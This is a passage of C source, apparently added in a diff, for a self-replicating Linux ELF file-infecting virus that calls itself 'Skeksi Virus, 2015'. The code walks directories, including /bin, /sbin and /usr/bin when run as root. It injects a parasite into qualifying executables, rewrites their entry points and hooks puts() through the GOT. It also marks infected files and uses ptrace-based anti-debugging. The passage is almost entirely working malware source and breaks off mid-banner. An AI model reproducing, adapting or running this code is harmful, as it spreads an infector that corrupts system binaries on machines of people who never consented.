JMPCODE_LEN 6 + +int inject_parasite(size_t psize, size_t paddingSize, elfbin_t *target, elfbin_t *self, ElfW(Addr) orig_entry_point) +{ + int ofd; + unsigned int c; + int i, t = 0, ehdr_size = sizeof(ElfW(Ehdr)); + unsigned char *mem = target->mem; + unsigned char *parasite = self->mem; + char *host = target->path, *protected; + struct stat st; + + _memcpy((struct stat *)&st, (struct stat *)&target->st, sizeof(struct stat)); + + /* eot is: + * end_of_text = e_hdr->e_phoff + nc * e_hdr->e_phentsize; + * end_of_text += p_hdr->p_filesz; + */ + extern int return_entry_start; + + if ((ofd = _open(TMP, O_CREAT|O_WRONLY|O_TRUNC, st.st_mode)) == -1) + return -1; + + /* + * Write first 64 bytes of original binary (The elf file header) + * [ehdr] + */ + if ((c = _write(ofd, mem, ehdr_size)) != ehdr_size) + return -1; + + /* + * Now inject the virus + * [ehdr][virus] + */ + void (*f1)(void) = (void (*)())PIC_RESOLVE_ADDR(&end_code); + void (*f2)(void) = (void (*)())PIC_RESOLVE_ADDR(&dummy_marker); + int end_code_size = (int)((char *)f2 - (char *)f1); + Elf64_Addr end_code_addr = PIC_RESOLVE_ADDR(&end_code); + uint8_t jmp_patch[6] = {0x68, 0x0, 0x0, 0x0, 0x0, 0xc3}; + *(uint32_t *)&jmp_patch[1] = orig_entry_point; + /* + * Write parasite up until end_code() + */ + size_t initial_parasite_len = self->size - RODATA_PADDING; + initial_parasite_len -= end_code_size; + + if ((c = _write(ofd, parasite, initial_parasite_len)) != initial_parasite_len) { + return -1; + } + _write(ofd, jmp_patch, sizeof(jmp_patch)); + _write(ofd, ¶site[initial_parasite_len + sizeof(jmp_patch)], RODATA_PADDING + (end_code_size - sizeof(jmp_patch))); + + /* + * Seek to end of tracer.o + PAGE boundary + * [ehdr][virus][pad] + */ + uint32_t offset = sizeof(ElfW(Ehdr)) + paddingSize; + if ((c = _lseek(ofd, offset, SEEK_SET)) != offset) + return -1; + + /* + * Write the rest of the original binary + * [ehdr][virus][pad][phdrs][text][data][shdrs] + */ + mem += sizeof(Elf64_Ehdr); + + unsigned int final_length = st.st_size - (sizeof(ElfW(Ehdr))); // + target->ehdr->e_shnum * sizeof(Elf64_Shdr)); + if ((c = _write(ofd, mem, final_length)) != final_length) + return -1; + + _close(ofd); + + return 0; +} + +Elf64_Addr infect_elf_file(elfbin_t *self, elfbin_t *target) +{ + Elf64_Ehdr *ehdr; + Elf64_Phdr *phdr; + Elf64_Shdr *shdr; + uint8_t *mem; + int fd; + int text_found = 0, i; + Elf64_Addr orig_entry_point; + Elf64_Addr origText; + Elf64_Addr new_base; + size_t parasiteSize; + size_t paddingSize; + struct stat st; + char *host = target->path; + long o_entry_offset; + /* + * Get size of parasite (self) + */ + parasiteSize = self->size; + paddingSize = PAGE_ALIGN_UP(parasiteSize); + + mem = target->mem; + *(uint32_t *)&mem[EI_PAD] = MAGIC_NUMBER; + ehdr = (Elf64_Ehdr *)target->ehdr; + phdr = (Elf64_Phdr *)target->phdr; + shdr = (Elf64_Shdr *)target->shdr; + orig_entry_point = ehdr->e_entry; + + phdr[0].p_offset += paddingSize; + phdr[1].p_offset += paddingSize; + + for (i = 0; i < ehdr->e_phnum; i++) { + if (text_found) + phdr[i].p_offset += paddingSize; + + if (phdr[i].p_type == PT_LOAD && phdr[i].p_flags == (PF_R|PF_X)) { + origText = phdr[i].p_vaddr; + phdr[i].p_vaddr -= paddingSize; + phdr[i].p_paddr -= paddingSize; + phdr[i].p_filesz += paddingSize; + phdr[i].p_memsz += paddingSize; + phdr[i].p_align = 0x1000; // this will allow infected bins to work with PaX :) + new_base = phdr[i].p_vaddr; + text_found = 1; + } else { + if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset && (phdr[i].p_flags & PF_W)) + phdr[i].p_align = 0x1000; // also to allow infected bins to work with PaX :) + } + + } + if (!text_found) { + DEBUG_PRINT("Error, unable to locate text segment in target executable: %s\n", target->path); + return -1; + } + ehdr->e_entry = origText - paddingSize + sizeof(ElfW(Ehdr)); + shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff]; + char *StringTable = &mem[shdr[ehdr->e_shstrndx].sh_offset]; + for (i = 0; i < ehdr->e_shnum; i++) { + /* + * This makes the Virus strip safe, as it will be contained within a section now. + * It also makes it so that the e_entry still points into the .text section which + * may set off less heuristics. + */ + if (!_strncmp((char *)&StringTable[shdr[i].sh_name], ".text", 5)) { + shdr[i].sh_offset = sizeof(ElfW(Ehdr)); // -= (uint32_t)paddingSize; + shdr[i].sh_addr = origText - paddingSize; + shdr[i].sh_addr += sizeof(ElfW(Ehdr)); + shdr[i].sh_size += self->size; + } + else + shdr[i].sh_offset += paddingSize; + + } + ehdr->e_shoff += paddingSize; + ehdr->e_phoff += paddingSize; + + inject_parasite(parasiteSize, paddingSize, target, self, orig_entry_point); + + return new_base; +} +/* + * Since our parasite exists of both a text and data segment + * we include the initial ELF file header and phdr in each parasite + * insertion. This lends itself well to being able to self-load by + * parsing our own program headers etc. + */ +int load_self(elfbin_t *elf) +{ + int i; + void (*f1)(void) = (void (*)())PIC_RESOLVE_ADDR(&end_code); + void (*f2)(void) = (void (*)())PIC_RESOLVE_ADDR(&dummy_marker); + Elf64_Addr _start_addr = PIC_RESOLVE_ADDR(&_start); + elf->mem = (uint8_t *)_start_addr; + elf->size = (char *)&end_code - (char *)&_start; + elf->size += (int)((char *)f2 - (char *)f1); + //elf->size += 1024; // So we have .rodata included in parasite insertion + elf->size += RODATA_PADDING; //SKEKSI_BYTECODE_SIZE; + return 0; +} + +void unload_target(elfbin_t *elf) +{ + _munmap(elf->mem, elf->size); + _close(elf->fd); +} + +int load_target(const char *path, elfbin_t *elf) +{ + int i; + struct stat st; + elf->path = (char *)path; + int fd = _open(path, O_RDONLY, 0); + if (fd < 0) + return -1; + elf->fd = fd; + if (_fstat(fd, &st) < 0) + return -1; + elf->mem = _mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); + if (elf->mem == MAP_FAILED) + return -1; + elf->ehdr = (Elf64_Ehdr *)elf->mem; + elf->phdr = (Elf64_Phdr *)&elf->mem[elf->ehdr->e_phoff]; + elf->shdr = (Elf64_Shdr *)&elf->mem[elf->ehdr->e_shoff]; + for (i = 0; i < elf->ehdr->e_phnum; i++) { + switch(elf->phdr[i].p_type) { + case PT_LOAD: + switch(!!elf->phdr[i].p_offset) { + case 0: + elf->textVaddr = elf->phdr[i].p_vaddr; + elf->textSize = elf->phdr[i].p_memsz; + break; + case 1: + elf->dataVaddr = elf->phdr[i].p_vaddr; + elf->dataSize = elf->phdr[i].p_memsz; + elf->dataOff = elf->phdr[i].p_offset; + break; + } + break; + case PT_DYNAMIC: + elf->dyn = (Elf64_Dyn *)&elf->mem[elf->phdr[i].p_offset]; + break; + } + + } + elf->st = st; + elf->size = st.st_size; + return 0; +} + +int load_target_writeable(const char *path, elfbin_t *elf) +{ + int i; + struct stat st; + elf->path = (char *)path; + int fd = _open(path, O_RDWR, 0); + if (fd < 0) + return -1; + elf->fd = fd; + if (_fstat(fd, &st) < 0) + return -1; + elf->mem = _mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); + if (elf->mem == MAP_FAILED) + return -1; + elf->ehdr = (Elf64_Ehdr *)elf->mem; + elf->phdr = (Elf64_Phdr *)&elf->mem[elf->ehdr->e_phoff]; + elf->shdr = (Elf64_Shdr *)&elf->mem[elf->ehdr->e_shoff]; + for (i = 0; i < elf->ehdr->e_phnum; i++) { + switch(elf->phdr[i].p_type) { + case PT_LOAD: + switch(!!elf->phdr[i].p_offset) { + case 0: + elf->textVaddr = elf->phdr[i].p_vaddr; + elf->textSize = elf->phdr[i].p_memsz; + break; + case 1: + elf->dataVaddr = elf->phdr[i].p_vaddr; + elf->dataSize = elf->phdr[i].p_memsz; + elf->dataOff = elf->phdr[i].p_offset; + break; + } + break; + case PT_DYNAMIC: + elf->dyn = (Elf64_Dyn *)&elf->mem[elf->phdr[i].p_offset]; + break; + } + + } + elf->st = st; + elf->size = st.st_size; + return 0; +} +/* + * We hook puts() for l33t sp34k 0utput. We parse the phdr's dynamic segment + * directly so we can still infect programs that are stripped of section header + * tables. + */ +int infect_pltgot(elfbin_t *target, Elf64_Addr new_fn_addr) +{ + int i, j = 0, symindex = -1; + Elf64_Sym *symtab; + Elf64_Rela *jmprel; + Elf64_Dyn *dyn = target->dyn; + Elf64_Addr *gotentry, *pltgot; + char *strtab; + size_t strtab_size; + size_t jmprel_size; + Elf64_Addr gotaddr = 0; // INITIALIZE! + Elf64_Off gotoff = 0; + + for (i = 0; dyn[i].d_tag != DT_NULL; i++) { + switch(dyn[i].d_tag) { + case DT_SYMTAB: // relative to the text segment base + symtab = (Elf64_Sym *)&target->mem[dyn[i].d_un.d_ptr - target->textVaddr]; + break; + case DT_PLTGOT: // relative to the data segment base + pltgot = (long *)&target->mem[target->dataOff + (dyn[i].d_un.d_ptr - target->dataVaddr)]; + break; + case DT_STRTAB: // relative to the text segment base + strtab = (char *)&target->mem[dyn[i].d_un.d_ptr - target->textVaddr]; + break; + case DT_STRSZ: + strtab_size = (size_t)dyn[i].d_un.d_val; + break; + case DT_JMPREL: + jmprel = (Elf64_Rela *)&target->mem[dyn[i].d_un.d_ptr - target->textVaddr]; + break; + case DT_PLTRELSZ: + jmprel_size = (size_t)dyn[i].d_un.d_val; + break; + + } + } + if (symtab == NULL || pltgot == NULL) { + DEBUG_PRINT("Unable to locate symtab or pltgot\n"); + return -1; + } + + for (i = 0; symtab[i].st_name <= strtab_size; i++) { + if (!_strcmp(&strtab[symtab[i].st_name], "puts")) { + DEBUG_PRINT("puts symbol index: %d\n", i); + symindex = i; + break; + } + } + if (symindex == -1) { + DEBUG_PRINT("cannot find puts()\n"); + return -1; + } + for (i = 0; i < jmprel_size / sizeof(Elf64_Rela); i++) { + if (!_strcmp(&strtab[symtab[ELF64_R_SYM(jmprel[i].r_info)].st_name], "puts")) { + gotaddr = jmprel[i].r_offset; + gotoff = target->dataOff + (jmprel[i].r_offset - target->dataVaddr); + DEBUG_PRINT("gotaddr: %x gotoff: %x\n", gotaddr, gotoff); + break; + } + } + if (gotaddr == 0) { + DEBUG_PRINT("Couldn't find relocation entry for puts\n"); + return -1; + } + + gotentry = (Elf64_Addr *)&target->mem[gotoff]; + *gotentry = new_fn_addr; + + DEBUG_PRINT("patched GOT entry %x with address %x\n", gotaddr, new_fn_addr); + return 0; + +} +/* + * Must be ELF + * Must be ET_EXEC + * Must be dynamically linked + * Must not yet be infected + */ +int check_criteria(char *filename) +{ + int fd, dynamic, i, ret = 0; + struct stat st; + Elf64_Ehdr *ehdr; + Elf64_Phdr *phdr; + uint8_t mem[4096]; + uint32_t magic; + + fd = _open(filename, O_RDONLY, 0); + if (fd < 0) + return -1; + if (_read(fd, mem, 4096) < 0) + return -1; + _close(fd); + ehdr = (Elf64_Ehdr *)mem; + phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff]; + if(_memcmp("\x7f\x45\x4c\x46", mem, 4) != 0) + return -1; + magic = *(uint32_t *)((char *)&ehdr->e_ident[EI_PAD]); + if (magic == MAGIC_NUMBER) //already infected? Then skip this file + return -1; + if (ehdr->e_type != ET_EXEC) + return -1; + if (ehdr->e_machine != EM_X86_64) + return -1; + for (dynamic = 0, i = 0; i < ehdr->e_phnum; i++) + if (phdr[i].p_type == PT_DYNAMIC) + dynamic++; + if (!dynamic) + return -1; + return 0; + +} + +void do_main(struct bootstrap_data *bootstrap) +{ + Elf64_Ehdr *ehdr; + Elf64_Phdr *phdr; + Elf64_Shdr *shdr; + uint8_t *mem, *heap = NULL; + long new_base, base_addr, evilputs_addr, evilputs_offset; + struct linux_dirent64 *d; + int bpos, fcount, dd, nread; + char *dir = NULL, **files, *fpath, dbuf[32768]; + struct stat st; + mode_t mode; + uint32_t rnum; + elfbin_t self, target; + int scan_count = DIR_COUNT; + int icount = 0; + int paddingSize; + /* + * NOTE: + * we can't use string literals because they will be + * stored in either .rodata or .data sections. + */ + char *dirs[4] = {"/sbin", "/usr/sbin", "/bin", "/usr/bin" }; + char cwd[2] = {'.', '\0'}; + +#if ANTIDEBUG + if (_ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) { + _printf("!! Skeksi Virus, 2015 !!\n"); + Exit(-1); + } + _prctl(PR_SET_DUMPABLE, 0, 0, 0, 0); +#endif + +rescan: + dir = _getuid() != 0 ? cwd : randomly_select_dir((char **)dirs); + if (!_strcmp(dir, ".")) + scan_count = 1; + DEBUG_PRINT("Infecting files in directory: %s\n", dir); + + dd = _open(dir, O_RDONLY | O_DIRECTORY, 0); + if (dd < 0) { + DEBUG_PRINT("open failed\n"); + return; + } + + load_self(&self); + + for (;;) { + nread = _getdents64(dd, (struct linux_dirent64 *)dbuf, 32768); + if (nread < 0) { + DEBUG_PRINT("getdents64 failed\n"); + return; + } + if (nread == 0) + break; + for (fcount = 0, bpos = 0; bpos < nread; bpos++) { + d = (struct linux_dirent64 *) (dbuf + bpos); + bpos += d->d_reclen - 1; + if (!_strcmp(d->d_name, VIRUS_LAUNCHER_NAME)) + continue; + if (d->d_name[0] == '.') + continue; + if (check_criteria(fpath = full_path(d->d_name, dir, &heap)) < 0) + continue; + if (icount == 0) + goto infect; + rnum = get_random_number(10); + if (rnum != LUCKY_NUMBER) + continue; +infect: + load_target(fpath, &target); + new_base = infect_elf_file(&self, &target); + unload_target(&target); +#ifdef INFECT_PLTGOT + load_target_writeable(TMP, &target); + base_addr = PIC_RESOLVE_ADDR(&_start); + evilputs_addr = PIC_RESOLVE_ADDR(&evil_puts); + evilputs_offset = evilputs_addr - base_addr; + infect_pltgot(&target, new_base + evilputs_offset + sizeof(Elf64_Ehdr)); + unload_target(&target); +#endif + + _rename(TMP, fpath); + icount++; + } + + } + if (--scan_count > 0) { + _close(dd); + goto rescan; + } + + rnum = get_random_number(50); + if (rnum == LUCKY_NUMBER) + display_skeksi(); + +} + +int _getuid(void) +{ + unsigned long ret; + __asm__ volatile("mov $102, %rax\n" + "syscall"); + asm ("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +void Exit(long status) +{ + __asm__ volatile("mov %0, %%rdi\n" + "mov $60, %%rax\n" + "syscall" : : "r"(status)); +} + +long _open(const char *path, unsigned long flags, long mode) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov $2, %%rax\n" + "syscall" : : "g"(path), "g"(flags), "g"(mode)); + asm ("mov %%rax, %0" : "=r"(ret)); + + return ret; +} + +int _close(unsigned int fd) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov $3, %%rax\n" + "syscall" : : "g"(fd)); + return (int)ret; +} + +int _read(long fd, char *buf, unsigned long len) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov $0, %%rax\n" + "syscall" : : "g"(fd), "g"(buf), "g"(len)); + asm("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +long _write(long fd, char *buf, unsigned long len) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov $1, %%rax\n" + "syscall" : : "g"(fd), "g"(buf), "g"(len)); + asm("mov %%rax, %0" : "=r"(ret)); + return ret; +} + +int _fstat(long fd, void *buf) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov $5, %%rax\n" + "syscall" : : "g"(fd), "g"(buf)); + asm("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +int _unlink(const char *path) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov $87, %%rax\n" + "syscall" ::"g"(path)); + asm("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +int _rename(const char *old, const char *new) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov $82, %%rax\n" + "syscall" ::"g"(old),"g"(new)); + asm("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +long _lseek(long fd, long offset, unsigned int whence) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov $8, %%rax\n" + "syscall" : : "g"(fd), "g"(offset), "g"(whence)); + asm("mov %%rax, %0" : "=r"(ret)); + return ret; + +} + +int _fsync(int fd) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov $74, %%rax\n" + "syscall" : : "g"(fd)); + + asm ("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +void *_mmap(void *addr, unsigned long len, unsigned long prot, unsigned long flags, long fd, unsigned long off) +{ + long mmap_fd = fd; + unsigned long mmap_off = off; + unsigned long mmap_flags = flags; + unsigned long ret; + + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov %3, %%r10\n" + "mov %4, %%r8\n" + "mov %5, %%r9\n" + "mov $9, %%rax\n" + "syscall\n" : : "g"(addr), "g"(len), "g"(prot), "g"(flags), "g"(mmap_fd), "g"(mmap_off)); + asm ("mov %%rax, %0" : "=r"(ret)); + return (void *)ret; +} + +int _munmap(void *addr, size_t len) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov $11, %%rax\n" + "syscall" :: "g"(addr), "g"(len)); + asm ("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +int _mprotect(void * addr, unsigned long len, int prot) +{ + unsigned long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov $10, %%rax\n" + "syscall" : : "g"(addr), "g"(len), "g"(prot)); + asm("mov %%rax, %0" : "=r"(ret)); + + return (int)ret; +} + +long _ptrace(long request, long pid, void *addr, void *data) +{ + long ret; + + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov %3, %%r10\n" + "mov $101, %%rax\n" + "syscall" : : "g"(request), "g"(pid), "g"(addr), "g"(data)); + asm("mov %%rax, %0" : "=r"(ret)); + + return ret; +} + +int _prctl(long option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) +{ + long ret; + + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov %3, %%r10\n" + "mov $157, %%rax\n" + "syscall\n" :: "g"(option), "g"(arg2), "g"(arg3), "g"(arg4), "g"(arg5)); + asm("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +int _getdents64(unsigned int fd, struct linux_dirent64 *dirp, + unsigned int count) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov %2, %%rdx\n" + "mov $217, %%rax\n" + "syscall" :: "g"(fd), "g"(dirp), "g"(count)); + asm ("mov %%rax, %0" : "=r"(ret)); + return (int)ret; +} + +int _gettimeofday(struct timeval *tv, struct timezone *tz) +{ + long ret; + __asm__ volatile( + "mov %0, %%rdi\n" + "mov %1, %%rsi\n" + "mov $96, %%rax\n" + "syscall" :: "g"(tv), "g"(tz)); + asm ("mov %%rax, %0" : "=r"(ret)); + return (int)ret; + +} + +void _memcpy(void *dst, void *src, unsigned int len) +{ + int i; + unsigned char *s = (unsigned char *)src; + unsigned char *d = (unsigned char *)dst; + + for (i = 0; i < len; i++) { + *d = *s; + s++, d++; + } + +} + + +void Memset(void *mem, unsigned char byte, unsigned int len) +{ + unsigned char *p = (unsigned char *)mem; + int i = len; + while (i--) { + *p = byte; + p++; + } +} + +int _printf(char *fmt, ...) +{ + int in_p; + unsigned long dword; + unsigned int word; + char numbuf[26] = {0}; + __builtin_va_list alist; + + in_p; + __builtin_va_start((alist), (fmt)); + + in_p = 0; + while(*fmt) { + if (*fmt!='%' && !in_p) { + _write(1, fmt, 1); + in_p = 0; + } + else if (*fmt!='%') { + switch(*fmt) { + case 's': + dword = (unsigned long) __builtin_va_arg(alist, long); + _puts((char *)dword); + break; + case 'u': + word = (unsigned int) __builtin_va_arg(alist, int); + _puts(itoa(word, numbuf)); + break; + case 'd': + word = (unsigned int) __builtin_va_arg(alist, int); + _puts(itoa(word, numbuf)); + break; + case 'x': + dword = (unsigned long) __builtin_va_arg(alist, long); + _puts(itox(dword, numbuf)); + break; + default: + _write(1, fmt, 1); + break; + } + in_p = 0; + } + else { + in_p = 1; + } + fmt++; + } + return 1; +} +char * itoa(long x, char *t) +{ + int i; + int j; + + i = 0; + do + { + t[i] = (x % 10) + '0'; + x /= 10; + i++; + } while (x!=0); + + t[i] = 0; + + for (j=0; j < i / 2; j++) { + t[j] ^= t[i - j - 1]; + t[i - j - 1] ^= t[j]; + t[j] ^= t[i - j - 1]; + } + + return t; +} +char * itox(long x, char *t) +{ + int i; + int j; + + i = 0; + do + { + t[i] = (x % 16); + + /* char conversion */ + if (t[i] > 9) + t[i] = (t[i] - 10) + 'a'; + else + t[i] += '0'; + + x /= 16; + i++; + } while (x != 0); + + t[i] = 0; + + for (j=0; j < i / 2; j++) { + t[j] ^= t[i - j - 1]; + t[i - j - 1] ^= t[j]; + t[j] ^= t[i - j - 1]; + } + + return t; +} + +int _puts(char *str) +{ + _write(1, str, _strlen(str)); + _fsync(1); + + return 1; +} + +int _puts_nl(char *str) +{ + _write(1, str, _strlen(str)); + _write(1, "\n", 1); + _fsync(1); + + return 1; +} + +size_t _strlen(char *s) +{ + size_t sz; + + for (sz=0;s[sz];sz++); + return sz; +} + + + +char _toupper(char c) +{ + if( c >='a' && c <= 'z') + return (c = c +'A' - 'a'); + return c; + +} + + +int _strncmp(const char *s1, const char *s2, size_t n) +{ + for ( ; n > 0; s1++, s2++, --n) + if (*s1 != *s2) + return ((*(unsigned char *)s1 < *(unsigned char *)s2) ? -1 : +1); + else if (*s1 == '\0') + return 0; + return 0; +} + +int _strcmp(const char *s1, const char *s2) +{ + for ( ; *s1 == *s2; s1++, s2++) + if (*s1 == '\0') + return 0; + return ((*(unsigned char *)s1 < *(unsigned char *)s2) ? -1 : +1); +} + +int _memcmp(const void *s1, const void *s2, unsigned int n) +{ + unsigned char u1, u2; + + for ( ; n-- ; s1++, s2++) { + u1 = * (unsigned char *) s1; + u2 = * (unsigned char *) s2; + if ( u1 != u2) { + return (u1-u2); + } + } +} + + + + + +unsigned long get_rip(void) +{ + long ret; + __asm__ __volatile__ + ( + "call get_rip_label \n" + ".globl get_rip_label \n" + "get_rip_label: \n" + "pop %%rax \n" + "mov %%rax, %0" : "=r"(ret) + ); + + return ret; +} + + +/* + * end_code() gets over-written with a trampoline + * that jumps to the original entry point. + */ +void end_code() +{ + Exit(0); + +} + +void dummy_marker() +{ + __ASM__("nop"); +} + + +const unsigned char skeksi_banner[] = +"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38" +"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30" +"\x3b\x34\x30\x6d\x38\x38\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30" +"\x6d\x58\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38" +"\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d" +"\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d" +"\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b" 